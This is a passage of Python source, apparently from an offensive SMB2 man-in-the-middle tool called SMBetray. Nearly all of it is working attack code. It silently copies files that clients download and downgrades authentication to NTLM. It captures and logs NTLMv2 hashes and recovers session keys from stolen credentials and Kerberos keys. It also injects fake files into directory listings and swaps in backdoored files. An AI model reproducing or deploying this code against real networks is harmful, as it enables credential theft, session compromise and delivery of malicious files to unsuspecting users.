"ffffffffffffffffffffffffffffffff"): 302 | # Searching the root directory 303 | r = FileRequestStruct() 304 | r.FILE_NAME = "." 305 | self.REQUEST_TRACKER[int(packet['MessageID'])] = r 306 | self.FILE_INFO_CLASS_TRACKER[int(packet['MessageID'])] = int(data['FileInformationClass']) 307 | def sessionSetupReq_track(self, packet): 308 | # 309 | pass 310 | def sessionSetupResp_track(self, packet): 311 | self.logger.info("[Notice: Connection dialect " + str(self.SESSION_DIALECT) + "]") 312 | # At this point, both server & client have come forth with their requirements 313 | if(self.SERVER_INFO.SIGNATURES_REQUIRED): 314 | self.logger.info("[Notice: SESSION SIGNED] Server requires signatures :(") 315 | self.SESSION_SIGNED = True 316 | else: 317 | if(self.CLIENT_INFO.SIGNATURES_REQUIRED == True): 318 | self.logger.info("[Notice: SESSION SIGNED] Client requires signatures :(") 319 | self.SESSION_SIGNED = True 320 | else: 321 | self.logger.info("[Notice: SESSION UNSIGNED] Nobody requires signatures!") 322 | self.SESSION_SIGNED = False 323 | if(self.SERVER_INFO.ENCRYPTION_ENABLED and self.CLIENT_INFO.ENCRYPTION_ENABLED): 324 | self.logger.info("[Notice: SESSION ENCRYPTED] Client & Server both have encryption enabled") 325 | self.SESSION_SIGNED = True 326 | self.SESSION_ENCRYPTED = True 327 | else: 328 | self.logger.info("[Notice: SESSION UN-ENCRYPTED] Files and information will be in plaintext") 329 | 330 | # 331 | # Grab the name/guid of the file being downloaded 332 | def readReq_passiveSteal(self, packet): 333 | data = SMB2Read(data = packet['Data']) 334 | if(str(data['FileID']) in self.FILE_REQUEST_TRACKER): 335 | self.REQUEST_TRACKER[int(packet['MessageID'])] = self.FILE_REQUEST_TRACKER[str(data['FileID'])] 336 | # Steal a copy of the file being downloaded 337 | def readResp_passiveSteal(self, packet): 338 | if self.REQUEST_TRACKER[int(packet['MessageID'])].DOWNLOADED == True: 339 | # We've already downloaded this file 340 | return 341 | if self.REQUEST_TRACKER[int(packet['MessageID'])].IS_INJECTED_FILE == True: 342 | # Duh, don't download our own injected file 343 | return 344 | 345 | # Parse the data 346 | resp = SMB2Read_Response(packet['Data']) 347 | fname = self.REQUEST_TRACKER[int(packet['MessageID'])].FILE_NAME 348 | shortName = fname[fname.rfind("\\", 0, len(fname))+1:] 349 | 350 | # Don't bother with pipe stuff 351 | if(fname == None or fname in [".", "srvsvc", "lsarpc", "wkssvc", "samr"]): 352 | return 353 | 354 | fullName = self.REQUEST_TRACKER[int(packet['MessageID'])].FILE_NAME 355 | # If this is the first read-response we're seeing, create the outfile 356 | if self.REQUEST_TRACKER[int(packet['MessageID'])].LOCAL_OUT_FILE == "": 357 | dirName = "" 358 | if(fname.find("\\") > -1): 359 | # Re-create the directory structure (this helps distinguish files with the same name) 360 | dirName = fname[:fname.rfind("\\", 0, len(fname))].replace("..\\", "").replace("\\", "/") 361 | #if(dirName.find(":") > -1): 362 | # dirName = dirName[dirName.find(":")+1:] 363 | if(len(dirName) > 0): 364 | if(dirName[0] == "/"): 365 | dirName = dirName[1:] 366 | if(dirName[-1] == "/"): 367 | dirName = dirName[:-1] 368 | try: 369 | os.makedirs(self.info['attackConfig'].PASSIVE_OUTPUT_DIR + "/" + dirName) 370 | except OSError: 371 | pass 372 | fullName = dirName + "/" + shortName 373 | outName = self.info['attackConfig'].PASSIVE_OUTPUT_DIR + "/" + fullName 374 | 375 | i = 0 376 | while os.path.exists(outName): 377 | if outName[-1] != "_0": 378 | outName += "_0" 379 | outName = outName[:-1] + str(i) 380 | self.REQUEST_TRACKER[int(packet['MessageID'])].LOCAL_OUT_FILE = outName 381 | # Finally, add the new data to the outfile 382 | with open(self.REQUEST_TRACKER[int(packet['MessageID'])].LOCAL_OUT_FILE, "a") as outFile: 383 | outFile.write(str(resp['Buffer'])) 384 | 385 | self.REQUEST_TRACKER[int(packet['MessageID'])].FILE_BYTES_CAPUTRED += abs(resp['DataLength']) 386 | 387 | if(self.REQUEST_TRACKER[int(packet['MessageID'])].FILE_BYTES_CAPUTRED == self.REQUEST_TRACKER[int(packet['MessageID'])].FILE_BYTE_SIZE): 388 | self.REQUEST_TRACKER[int(packet['MessageID'])].DOWNLOADED = True 389 | self.logger.info("Successfully stole a copy of " + str(fullName)) 390 | else: 391 | self.logger.info("Downloaded " + str(self.REQUEST_TRACKER[int(packet['MessageID'])].FILE_BYTES_CAPUTRED) + "/" + str(self.REQUEST_TRACKER[int(packet['MessageID'])].FILE_BYTE_SIZE) + " bytes of " + self.REQUEST_TRACKER[int(packet['MessageID'])].FILE_NAME) 392 | return 393 | 394 | 395 | ## 396 | # # 397 | def negotiateResp_authDowngrade(self, packet): 398 | try: 399 | # Try to downgrade them to NTLM 400 | resp = SMB2Negotiate_Response(packet['Data']) 401 | securityBlob = SPNEGO_NegTokenInit(data = resp['Buffer']) 402 | if TypesMech['NTLMSSP - Microsoft NTLM Security Support Provider'] not in securityBlob['MechTypes']: 403 | self.logger.info("Server does not support NTLM - auth mechanism downgrade will not work") 404 | return packet 405 | self.logger.info("Server supports NTLM auth - Attempting to downgrade....") 406 | securityBlob['MechTypes'] = [TypesMech['NEGOEX - SPNEGO Extended Negotiation Security Mechanism'], TypesMech['NTLMSSP - Microsoft NTLM Security Support Provider']] 407 | resp['Buffer'] = securityBlob.getData() 408 | resp['SecurityBufferLength'] = len(resp['Buffer']) 409 | packet['Data'] = str(resp) 410 | except: 411 | pass 412 | return packet 413 | # # 414 | # NTLM Negotiate 415 | def sessionSetupReq_NTLMv2_Neg(self, packet): 416 | try: 417 | req = SMB2SessionSetup(packet['Data']) 418 | 419 | securityBlob = SPNEGO_NegTokenInit(data = req['Buffer']) 420 | if TypesMech['NTLMSSP - Microsoft NTLM Security Support Provider'] not in securityBlob['MechTypes']: 421 | return 422 | newHash = NTLMV2_Struct() 423 | newHash.NEGOTIATE_INFO.fromString(securityBlob['Payload'][securityBlob['Payload'].find("NTLMSSP"):]) 424 | 425 | self.NTLMV2_DATASTORE.append(newHash) 426 | except: 427 | pass 428 | return packet 429 | # NTLM Challenge 430 | def sessionSetupResp_NTLMv2_Chal(self, packet): 431 | resp = SMB2SessionSetup_Response(packet['Data']) 432 | securityBlob = SPNEGO_NegTokenResp(resp['Buffer']) 433 | 434 | if(len(self.NTLMV2_DATASTORE) == 0): 435 | return 436 | # securityBlob.dump() 437 | self.NTLMV2_DATASTORE[-1].CHALLENGE_INFO.fromString(securityBlob['ResponseToken'][securityBlob['ResponseToken'].find("NTLMSSP"):]) 438 | return packet 439 | # NTLM Challenge-Response/Auth 440 | def sessionSetupReq_NTLMv2_Auth(self, packet): 441 | resp = SMB2SessionSetup(packet['Data']) 442 | securityBlob = SPNEGO_NegTokenResp(resp['Buffer']) 443 | self.NTLMV2_DATASTORE[-1].RESPONSE_INFO.fromString(securityBlob['ResponseToken'][securityBlob['ResponseToken'].find("NTLMSSP"):]) 444 | 445 | if(self.NTLMV2_DATASTORE[-1].RESPONSE_INFO['user_name'] == ''): 446 | return 447 | # Dump out the captured NTLMv2 hashes to the screen & to the output file 448 | ntlmV2Hash = self.NTLMV2_DATASTORE[-1].RESPONSE_INFO['user_name'] + \ 449 | "::" + self.NTLMV2_DATASTORE[-1].RESPONSE_INFO['domain_name'] + \ 450 | ":" + hexlify(self.NTLMV2_DATASTORE[-1].CHALLENGE_INFO['challenge']) + \ 451 | ":" + hexlify(self.NTLMV2_DATASTORE[-1].RESPONSE_INFO['ntlm'][:16]) + \ 452 | ":" + hexlify(self.NTLMV2_DATASTORE[-1].RESPONSE_INFO['ntlm'])[32:] 453 | self.logger.info(ntlmV2Hash) 454 | 455 | if(self.info['attackConfig'].HASH_OUTPUT_FILE != None): 456 | r = open(self.info['attackConfig'].HASH_OUTPUT_FILE, "a") 457 | r.write(ntlmV2Hash + "\n") 458 | r.close() 459 | 460 | # Now that we've got the full NTLMv2 auth data, try to crack it with 461 | # some of our popped creds 462 | # self.info['poppedCredsDB_Lock'].acquire() 463 | for user in self.info['poppedCredsDB'].keys(): 464 | popped = self.info['poppedCredsDB'][user] 465 | # If this NTLMv2 data is for a different user, skip 466 | if self.NTLMV2_DATASTORE[-1].getUser() != (popped.domain.upper() + "/" + popped.username.upper()): continue 467 | 468 | #1. Generate the ntproofstr with our creds & the ntlmv2 auth data 469 | ntProofStr = ntlm.hmac_md5(popped.NTResponse, self.NTLMV2_DATASTORE[-1].CHALLENGE_INFO['challenge'] + self.NTLMV2_DATASTORE[-1].getBasicData()) 470 | 471 | #2. Compare it to the original. If they match, we popped it. 472 | if(ntProofStr == self.NTLMV2_DATASTORE[-1].getNtProofString()): 473 | first_sessionKey = ntlm.hmac_md5(popped.NTResponse, ntProofStr) 474 | 475 | # 3. If there was a key exchange, decrypt the exchanged key 476 | if(self.NTLMV2_DATASTORE[-1].getExchangedKey() != '\x00' * 16): 477 | try: 478 | chandle = ARC4.new(first_sessionKey) 479 | sessionKey = chandle.decrypt(self.NTLMV2_DATASTORE[-1].getExchangedKey()) 480 | self.KNOWN_KEY = SMBKey(sessionKey, self.SESSION_DIALECT) 481 | self.info['smbKeyChain'][hash(self.KNOWN_KEY)] = self.KNOWN_KEY 482 | 483 | self.logger.info("\t!!!Compromised SessionBaseKey via NTLMv2!!! " + hexlify(self.KNOWN_KEY.SESSION_BASE_KEY)) 484 | # No longer needed 485 | del(self.NTLMV2_DATASTORE[-1]) 486 | # self.info['poppedCredsDB_Lock'].release() 487 | return 488 | except Exception, e: 489 | self.logger.error(str(e) + " " + traceback.format_exc()) 490 | pass 491 | else: 492 | self.KNOWN_KEY = SMBKey(first_sessionKey, self.SESSION_DIALECT) 493 | self.info['smbKeyChain'][hash(self.KNOWN_KEY)] = self.KNOWN_KEY 494 | # No longer needed 495 | del(self.NTLMV2_DATASTORE[-1]) 496 | # self.info['poppedCredsDB_Lock'].release() 497 | return 498 | # self.info['poppedCredsDB_Lock'].release() 499 | return packet 500 | # NTLM Session Setup complete 501 | def sessionSetupResp_NTLMv2_AuthResp(self, packet): 502 | pass 503 | 504 | # # 505 | # Exctract and try to decrypt the mutual auth kerberos 506 | # ServiceSessionKey with every key in our smbKeyChain. 507 | def sessionSetupResp_KerberosMututal(self, smbPacket): 508 | # Pull the most recent keys from kerberos 509 | while not self.info['kerbPoppedKeys'].empty(): 510 | nKey = self.info['kerbPoppedKeys'].get() 511 | self.info['smbKeyChain'][hash(nKey)] = copy.deepcopy(nKey) 512 | 513 | st = SMB2SessionSetup_Response(data = smbPacket['Data'])['Buffer'] 514 | 515 | 516 | # See if we have the original KERBEROS_SESSION_KEY to decrypt this new Keberos ServiceSessionKey 517 | for keyHash in self.info['smbKeyChain'].keys(): 518 | smbKey = self.info['smbKeyChain'][keyHash] 519 | if(smbKey.KERBEROS_SERVICE_SESSION_KEY == ""): 520 | print("NO KERB SERVICE SESSION KEY IN KEY: " + str(smbKey)) 521 | continue 522 | 523 | # Make sure the keys were generated for this dialect 524 | smbKey.setDialect(self.SESSION_DIALECT) 525 | 526 | try: 527 | print("Trying key:") 528 | print(str(smbKey)) 529 | k = st.find("\x6f\x81\x87\x30") 530 | apRep = decoder.decode(st[k:], asn1Spec = AP_REP())[0] 531 | cipher = _enctype_table[18] 532 | cipherText = str(apRep['enc-part']['cipher']) 533 | key = Key(18, smbKey.KERBEROS_SERVICE_SESSION_KEY) 534 | # Key Usage 12 535 | # AP-REP encrypted part (includes application session 536 | # subkey), encrypted with the application session key 537 | # (Section 5.5.2) 538 | plainText = cipher.decrypt(key, 12, cipherText) 539 | encAPRepPart = decoder.decode(plainText, asn1Spec = EncAPRepPart())[0] 540 | newSessionKey = Key(encAPRepPart['subkey']['keytype'], str(encAPRepPart['subkey']['keyvalue'])) 541 | 542 | print("\t!!!Compromised SMB SessionBaseKey via Kerberos Mutual Auth!!!\t " + hexlify(newSessionKey.contents[:16])) 543 | self.KNOWN_KEY = SMBKey(sessionBaseKey = newSessionKey.contents[:16], dialect = self.SESSION_DIALECT, kerbSessionKey = smbKey.KERBEROS_SESSION_KEY, kerbServiceSessionKey = newSessionKey.contents) 544 | self.info['smbKeyChain'][hash(self.KNOWN_KEY)] = self.KNOWN_KEY 545 | break 546 | except Exception, e: 547 | # self.logger.info("FAILED TO POP MUTUAL AUTH WITH \n" + str(smbKey)) 548 | # print(str(e)) 549 | continue 550 | 551 | if self.KNOWN_KEY != None: 552 | return True 553 | return False 554 | 555 | 556 | # 557 | # Take every set of creds in our poppedCredDB and 558 | # and run them against the captured NTLMv2 data, as well as 559 | # set every SMBKey in our keychain (provided by kerberos) 560 | # to the current dialect and test it's generated signature 561 | # to that of the provided packet. 562 | # 563 | # TL;DR - run this function if we don't have a self.KNOWN_KEY, 564 | # and we want to throw everything and the kitchen sink. 565 | def hailMary_keyGeneration(self, packet, as_client = True): 566 | # self.info['smbKeyChain_Lock'].acquire() 567 | ## 568 | 569 | while not self.info['kerbPoppedKeys'].empty(): 570 | nKey = self.info['kerbPoppedKeys'].get() 571 | self.info['smbKeyChain'][hash(nKey)] = copy.deepcopy(nKey) 572 | 573 | ## 574 | # Try all of our NTLMv2 captured stuff against any compromised creds 575 | # self.info['poppedCredsDB_Lock'].acquire() 576 | for i in range(0, len(self.NTLMV2_DATASTORE)): 577 | for user in self.info['poppedCredsDB'].keys(): 578 | popped = self.info['poppedCredsDB'][user] 579 | # If this NTLMv2 data is for a different user, skip 580 | if self.NTLMV2_DATASTORE[i].getUser() != (popped.domain.upper() + "/" + popped.username.upper()): continue 581 | 582 | #1. Generate the ntproofstr with our creds & the ntlmv2 auth data 583 | ntProofStr = ntlm.hmac_md5(popped.NTResponse, self.NTLMV2_DATASTORE[i].CHALLENGE_INFO['challenge'] + self.NTLMV2_DATASTORE[i].getBasicData()) 584 | 585 | #2. Compare it to the original. If they match, we popped it. 586 | if(ntProofStr == self.NTLMV2_DATASTORE[i].getNtProofString()): 587 | first_sessionKey = ntlm.hmac_md5(popped.NTResponse, ntProofStr) 588 | 589 | # 3. If there was a key exchange, decrypt the exchanged key 590 | if(self.NTLMV2_DATASTORE[i].getExchangedKey() != '\x00' * 16): 591 | try: 592 | chandle = ARC4.new(first_sessionKey) 593 | sessionKey = chandle.decrypt(self.NTLMV2_DATASTORE[i].getExchangedKey()) 594 | self.KNOWN_KEY = SMBKey(sessionKey, self.SESSION_DIALECT) 595 | self.info['smbKeyChain'][hash(self.KNOWN_KEY)] = self.KNOWN_KEY 596 | # No longer needed 597 | del(self.NTLMV2_DATASTORE[i]) 598 | # self.info['poppedCredsDB_Lock'].release() 599 | return 600 | except Exception: 601 | pass 602 | else: 603 | self.KNOWN_KEY = SMBKey(first_sessionKey, self.SESSION_DIALECT) 604 | self.info['smbKeyChain'][hash(self.KNOWN_KEY)] = self.KNOWN_KEY 605 | # No longer needed 606 | del(self.NTLMV2_DATASTORE[i]) 607 | # self.info['poppedCredsDB_Lock'].release() 608 | return 609 | # self.info['poppedCredsDB_Lock'].release() 610 | 611 | 612 | ## 613 | # Try all of the keys catpured by Kerberos and loaded into the 614 | # smbKeyChain against this packet, and try to re-create the 615 | # signature. If we can, we have popped the session. 616 | if(packet['Signature'] == '\x00' * 16): 617 | # We can't test against a blank signature 618 | return 619 | # self.info['smbKeyChain_Lock'].acquire() 620 | for keyHash in self.info['smbKeyChain'].keys(): 621 | smbKey = self.info['smbKeyChain'][keyHash] 622 | # Make sure the keys were generated for this dialect 623 | smbKey.setDialect(self.SESSION_DIALECT) 624 | # 625 | signature = smbKey.sign(packet, as_client) 626 | # 627 | if signature == packet['Signature']: 628 | self.KNOWN_KEY = smbKey 629 | self.info['smbKeyChain'][hash(self.KNOWN_KEY)] = self.KNOWN_KEY 630 | # self.info['smbKeyChain_Lock'].release() 631 | return 632 | # self.info['smbKeyChain_Lock'].release() 633 | 634 | if self.KNOWN_KEY != None: 635 | return True 636 | else: 637 | return False 638 | 639 | 640 | ## 641 | # Injects a file into the fileListing and adds it to the INJECTED_FILE_TRACKER 642 | def findResp_injectFileListing(self, packet, fileRequestStruct, infoType): 643 | # self.REQUEST_TRACKER[int(packet['MessageID'])] 644 | fileName = fileRequestStruct.FILE_NAME.encode("utf-16le") 645 | # This is a "no more files" packet, so lets bounce 646 | if(packet['Status'] == 0x80000006): 647 | self.logger.debug("[SMB2_Lib::findResp_injectFileListing] Hit a no-more-files packet, can't inject on this one") 648 | return packet 649 | resp = SMB2QueryDirectory_Response(packet['Data']) 650 | # Grab a copy for editing 651 | data = copy.deepcopy(resp['Buffer']) 652 | #If there's no data for some reason, fall back 653 | if(len(str(data)) == 0): 654 | self.logger.debug("[SMB2_Lib::findResp_injectFileListing] No data in the query directory response") 655 | return packet 656 | nextOffset = 1 657 | buff = '' 658 | while nextOffset != 0: 659 | try: 660 | fileInfo = None 661 | inject = None 662 | if(infoType == FILEID_BOTH_DIRECTORY_INFORMATION): 663 | fileInfo = smb.SMBFindFileIdBothDirectoryInfo(smb.SMB.FLAGS2_UNICODE) 664 | fileInfo.fromString(data) 665 | inject = copy.deepcopy(fileInfo) 666 | elif(infoType == FILE_BOTH_DIRECTORY_INFORMATION): 667 | fileInfo = smb.SMBFindFileBothDirectoryInfo(smb.SMB.FLAGS2_UNICODE) 668 | fileInfo.fromString(data) 669 | inject = copy.deepcopy(fileInfo) 670 | ## TODO: Add more infoType handlers 671 | else: 672 | self.logger.info("[SMB2_Lib::findResp_injectFileListing] infoType not recognized (" + str(infoType) + ")") 673 | return packet 674 | 675 | nextOffset = fileInfo['NextEntryOffset'] 676 | if(nextOffset == 0): 677 | # Modify the next-offset 678 | fileInfo['NextEntryOffset'] = len(str(fileInfo)) + ((8 - (len(str(fileInfo)) % 8)) % 8) 679 | # Build our custom file 680 | inject['FileName'] = fileName 681 | inject['FileNameLength'] = len(inject['FileName']) 682 | inject['EndOfFile'] = int(fileRequestStruct.FILE_BYTE_SIZE) # File does not need to be in unicode 683 | inject['AllocationSize'] = int(inject['EndOfFile'] + ((8 - (inject['EndOfFile'] % 8)) % 8)) 684 | inject['ExtFileAttributes'] = int(32) 685 | 686 | # Add the original file 687 | buff += str(fileInfo) 688 | buff += str('\x00' * ((8 - (len(str(fileInfo)) % 8)) % 8)) 689 | 690 | # Now, inject our custom one 691 | buff += str(inject) 692 | buff += str('\x00' * 2)#((8 - (len(str(inject)) % 8)) % 8)) 693 | 694 | # Add this file (full path) to the record of fake files we injected 695 | 696 | # 697 | directoryName = self.REQUEST_TRACKER[packet['MessageID']].FILE_NAME 698 | if(directoryName == "." or directoryName == ".\\"): 699 | self.INJECTED_FILE_TRACKER[fileRequestStruct.FILE_NAME] = fileRequestStruct 700 | else: 701 | self.INJECTED_FILE_TRACKER[str(directoryName + "\\" + fileRequestStruct.FILE_NAME)] = fileRequestStruct 702 | self.logger.info("Injected " + directoryName + "\\" + fileRequestStruct.FILE_NAME) 703 | 704 | else: 705 | # Just add the file 706 | buff += str(fileInfo) 707 | buff += str('\x00' * ((8 - (len(str(fileInfo)) % 8)) % 8)) 708 | data = data[nextOffset:] 709 | except Exception, e: 710 | m = self.logger.error(str(traceback.format_exc())) 711 | self.logger.error("[SMB2_Lib::findResp_injectFileListing] " + str(m)) 712 | break 713 | # Do math and pack it up 714 | resp['Buffer'] = str(buff) + ('\x00' * ((8 - (len(str(buff)) % 8)) % 8)) 715 | resp['_Buffer'] = len(str(buff)) + ((8 - (len(str(buff)) % 8)) % 8) 716 | resp['OutputBufferLength'] = len(str(buff)) + ((8 - (len(str(buff)) % 8)) % 8) 717 | packet['Data'] = str(resp) 718 | return packet 719 | # Responds appropriately to a create-request (takes in the original create request packet) 720 | def createResp_injectFile(self, packet, fileStruct): 721 | size = fileStruct.FILE_BYTE_SIZE 722 | req = SMB2Create(packet['Data']) 723 | resp = SMB2Create_Response() 724 | 725 | # Generate a random, but valid, date & time 726 | fTime = randint(1355314322, 1481544732) 727 | fTime *= 10000000 728 | fTime += 116444736000000000 729 | 730 | resp['FileID'] = fileStruct.FILE_GUID 731 | resp['CreateAction'] = req['CreateDisposition'] 732 | resp['OplockLevel'] = req['RequestedOplockLevel'] 733 | resp['CreationTime'] = fTime 734 | resp['LastAccessTime'] = fTime 735 | resp['ChangeTime'] = fTime 736 | resp['LastWriteTime'] = fTime 737 | resp['AllocationSize'] = size + ((8 - (size % 8)) % 8) 738 | resp['EndOfFile'] = size 739 | resp['FileAttributes'] = 0 740 | newBuff = "" # 741 | 742 | infoOffset = int(req['CreateContextsOffset']) 743 | infoLength = int(req['CreateContextsLength']) 744 | data = copy.deepcopy(req['Buffer']) 745 | 746 | index = infoOffset - 120 # Don't ask me why, I have no answers for you 747 | nextOffset = 0 748 | if(infoLength > 0): 749 | nextOffset = 1 750 | while nextOffset > 0: 751 | n = SMB2CreateContext(data[index:index + 16]) 752 | nextOffset = n['Next'] 753 | # Reset the buffer with the appropriate scope 754 | if(nextOffset == 0): 755 | n['Buffer'] = data[index + 16:] 756 | else: 757 | n['Buffer'] = data[index + 16:index + nextOffset] 758 | tag = data[index + n['NameOffset']:index + n['NameOffset'] + n['NameLength']] 759 | index = index + nextOffset 760 | if(tag == "RqLs"): 761 | offset = n['NameLength'] + ((8 - (n['NameLength'] % 8)) % 8) #It's either this, or NameLength + 4 762 | rawData = n['Buffer'][offset:] 763 | i = 52 - len(rawData) 764 | rawData += '\x00' * i 765 | lease = SMB2_CREATE_REQUEST_LEASE_V2(rawData) 766 | newLease = copy.deepcopy(lease) 767 | newLease['Flags'] = 4 768 | newLease['LeaseState'] = 3 769 | newLease['Epoch'] = 1 770 | n['Buffer'] = str(tag) + "\x00\x00\x00\x00" + str(newLease) 771 | #n['Buffer'] = str(newLease) 772 | elif(tag == "MxAc"): 773 | maxrep = SMB2_CREATE_QUERY_MAXIMAL_ACCESS_RESPONSE() 774 | maxrep['QueryStatus'] = 0 775 | maxrep['MaximalAccess'] = 1179817 776 | #fkLen = len(str(maxrep)) 777 | n['Buffer'] = str(tag) + "\x00\x00\x00\x00" + str(maxrep) 778 | elif(tag == "QFid"): 779 | qfid = SMB2_CREATE_QUERY_ON_DISK_ID() 780 | fid = ''.join(random.SystemRandom().choice(string.ascii_uppercase) for _ in range(16)).encode("utf-16le") 781 | #fkLen = len(str(qfid)) 782 | n['Buffer'] = str(tag) + "\x00\x00\x00\x00" + str(qfid) 783 | elif(tag == "DH2Q"): 784 | dh2q = SMB2_CREATE_DURABLE_HANDLE_RESPONSE_V2() 785 | dh2q['Timeout'] = 180000 786 | dh2q['Flags'] = 0 787 | #fkLen = len(str(dh2q)) 788 | n['Buffer'] = str(tag) + "\x00\x00\x00\x00" + str(dh2q) 789 | elif(tag == "DHnQ"): #Idek dude 790 | dh2q = SMB2_CREATE_DURABLE_HANDLE_RESPONSE_V2() 791 | dh2q['Timeout'] = 180000 792 | dh2q['Flags'] = 0 793 | n['Buffer'] = str(tag) + "\x00\x00\x00\x00" + str(dh2q) 794 | else: 795 | self.logger.error("[getReqForge] unknown tag recieved: '" + str(tag) + "'") 796 | 797 | # Add it all up and add it to the packet's buffer 798 | 799 | n['DataLength'] = len(str(n['Buffer'])) - (n['NameLength'] + 4) #The 4 are the 4 reserved bytes 800 | if(nextOffset != 0): 801 | n['Next'] = len(str(n))# + n['NameLength'] #+ 4 802 | # 803 | newBuff += str(n) 804 | 805 | resp['Buffer'] = str(newBuff) 806 | resp['CreateContextsOffset'] = 152 807 | resp['CreateContextsLength'] = len(str(newBuff)) 808 | return str(resp) 809 | # Respond to the client with a getInfoResp for a file we're injecting 810 | def getInfoResp_injectFile(self, packet, fileStruct): 811 | # Get the infotype from the client's request packet 812 | tmp = SMB2QueryInfo(packet['Data']) 813 | infoType = tmp['FileInfoClass'] 814 | 815 | # Generate a random, but valid, date & time 816 | fTime = randint(1355314322, 1481544732) 817 | fTime *= 10000000 818 | fTime += 116444736000000000 819 | 820 | # Build the inner of the packet 821 | inner = SMB2QueryInfo_Response() 822 | 823 | size = fileStruct.FILE_BYTE_SIZE 824 | if infoType == smb.SMB_QUERY_FILE_BASIC_INFO: 825 | infoRecord = smb.SMBQueryFileBasicInfo() 826 | infoRecord['CreationTime'] = fTime 827 | infoRecord['LastAccessTime'] = fTime 828 | infoRecord['LastWriteTime'] = fTime 829 | infoRecord['ExtFileAttributes'] = 0 830 | elif infoType == SMB2_0_INFO_SECURITY or infoType == SMB2_SEC_INFO_00: 831 | infoRecord = FileSecInformation() 832 | infoRecord['Revision'] = 1 833 | infoRecord['Type'] = -30720 # Fuck this shit 834 | infoRecord['OffsetToOwner'] = 0 835 | infoRecord['OffsetToGroup'] = 0 836 | infoRecord['OffsetToSACL'] = 0 837 | infoRecord['OffsetToDACL'] = 0 838 | elif infoType == SMB2_FILE_NETWORK_OPEN_INFO: 839 | infoRecord = smb.SMBFileNetworkOpenInfo() 840 | infoRecord['CreationTime'] = fTime 841 | infoRecord['LastAccessTime'] = fTime 842 | infoRecord['LastWriteTime'] = fTime 843 | infoRecord['ChangeTime'] = fTime 844 | infoRecord['AllocationSize'] = size + ((8 - (size % 8)) % 8) 845 | infoRecord['EndOfFile'] = size 846 | infoRecord['FileAttributes'] = 32 #Archived change 847 | elif infoType == smb.SMB_QUERY_FILE_EA_INFO or infoType == SMB2_FILE_EA_INFO: 848 | infoRecord = smb.SMBQueryFileEaInfo() 849 | infoRecord['EaSize'] = 0 850 | elif infoType == SMB2_FILE_STREAM_INFO: 851 | infoRecord = smb.SMBFileStreamInformation() 852 | infoRecord['NextEntryOffset'] = 0 853 | infoRecord['StreamName'] = "::$DATA" 854 | infoRecord['StreamNameLength'] = 14 855 | infoRecord['StreamSize'] = size 856 | infoRecord['StreamAllocationSize'] = size + ((8 - (size % 8)) % 8) 857 | elif infoType == SMB2_FILE_INTERNAL_INFO: 858 | infoRecord = FileInternalInformation() 859 | infoRecord['IndexNumber'] = 0 860 | elif infoType == SMB2_FILESYSTEM_VOLUME_INFO: 861 | infoRecord = smb.SMBQueryFsVolumeInfo() 862 | infoRecord['VolumeCreationTime'] = fTime 863 | infoRecord['SerialNumber'] = randint(1, 3941952949) 864 | infoRecord['VolumeLabel'] = '' 865 | infoRecord['VolumeLabelSize'] = 498 #len(infoRecord['VolumeLabel']) 866 | elif infoType == SMB2_FILESYSTEM_ATTRIBUTE_INFO: 867 | infoRecord = smb.SMBQueryFsAttributeInfo() 868 | infoRecord['FileSystemAttributes'] = 13041919 869 | infoRecord['MaxFilenNameLengthInBytes'] = 255 870 | infoRecord['LengthOfFileSystemName'] = len("NTFS".encode("utf-16le")) 871 | infoRecord['FileSystemName'] = "NTFS".encode('utf-16le') 872 | else: 873 | self.logger.error("[SMB2_Lib::getInfoResp_injectFile] Unsupported infotype requested: " + str(infoType)) 874 | return packet 875 | inner['Buffer'] = str(infoRecord) 876 | inner['OutputBufferLength'] = len(infoRecord) 877 | inner['OutputBufferOffset'] = 0x48 878 | return str(inner) 879 | # Respond to the client with the contents of the injected file 880 | def readResp_injectFile(self, packet, fileStruct): 881 | req = SMB2Read(packet['Data']) 882 | resp = SMB2Read_Response() 883 | 884 | resp['DataOffset'] = 0x50 885 | resp['DataLength'] = int(req['Length']) 886 | resp['DataRemaining'] = int(int(fileStruct.FILE_BYTE_SIZE) - int(req['Offset'])) 887 | 888 | handle = open(fileStruct.LOCAL_FILE_PATH) 889 | handle.seek(int(req['Offset'])) 890 | dataToSend = handle.read()[:req['Length']] 891 | handle.close() 892 | resp['Buffer'] = str(dataToSend) 893 | self.logger.info("Serving up an injected file " + self.REQUEST_TRACKER[int(packet['MessageID'])].FILE_NAME + " - part " + str(int(req['Offset']) + int(req['Length'])) + "/" + str(fileStruct.FILE_BYTE_SIZE)) 894 | 895 | return str(resp) 896 | # Responds appropriately to a close-request (takes in the original close request packet) 897 | def closeResp_injectFile(self): 898 | resp = SMB2Close_Response() 899 | return str(resp) 900 | ## 901 | # File backdooring operates the same as file injections - 902 | # the only difference is how SMBetray handles the findResponses 903 | # 904 | # Swap out the size details of targeted files, by their name, in a directory listing. 905 | def findResp_backdoorFileNameModifyListing(self, packet, infoType): 906 | targetList = [] 907 | # For every file we are backdooring, check if it's in this directory listing 908 | for fileName, fileStruct in self.BACKDOOR_FILE_SWAP_LIBRARY.iteritems(): 909 | targetList.append(fileName.encode("utf-16-le").lower()) 910 | 911 | if(packet['Status'] == nt_errors.STATUS_NO_MORE_FILES): 912 | return packet 913 | resp = SMB2QueryDirectory_Response(packet['Data']) 914 | # Grab a copy for editing 915 | data = copy.deepcopy(resp['Buffer']) 916 | #If there's no data for some reason, fall back 917 | if(len(str(data)) == 0): 918 | return packet 919 | nextOffset = 1 920 | buff = '' 921 | while nextOffset != 0: 922 | try: 923 | fileInfo = None 924 | inject = None 925 | if(infoType == FILEID_BOTH_DIRECTORY_INFORMATION): 926 | fileInfo = smb.SMBFindFileIdBothDirectoryInfo(smb.SMB.FLAGS2_UNICODE) 927 | fileInfo.fromString(data) 928 | inject = copy.deepcopy(fileInfo) 929 | elif(infoType == FILE_BOTH_DIRECTORY_INFORMATION): 930 | fileInfo = smb.SMBFindFileBothDirectoryInfo(smb.SMB.FLAGS2_UNICODE) 931 | fileInfo.fromString(data) 932 | inject = copy.deepcopy(fileInfo) 933 | ## TODO: Add more infoType handlers 934 | else: 935 | self.logger.info("[SMB2_Lib::findResp_backdoorFileNameModifyListing] infoType not recognized (" + str(infoType) + ")") 936 | return packet 937 | 938 | nextOffset = fileInfo['NextEntryOffset'] 939 | if(fileInfo['FileName'].lower() in targetList): 940 | tmp = fileInfo['FileName'].lower().decode("utf-16-le").encode("utf-8").lower() 941 | fileRequestStruct = self.BACKDOOR_FILE_SWAP_LIBRARY[tmp] 942 | 943 | fileInfo['EndOfFile'] = int(fileRequestStruct.FILE_BYTE_SIZE) # File does not need to be in unicode 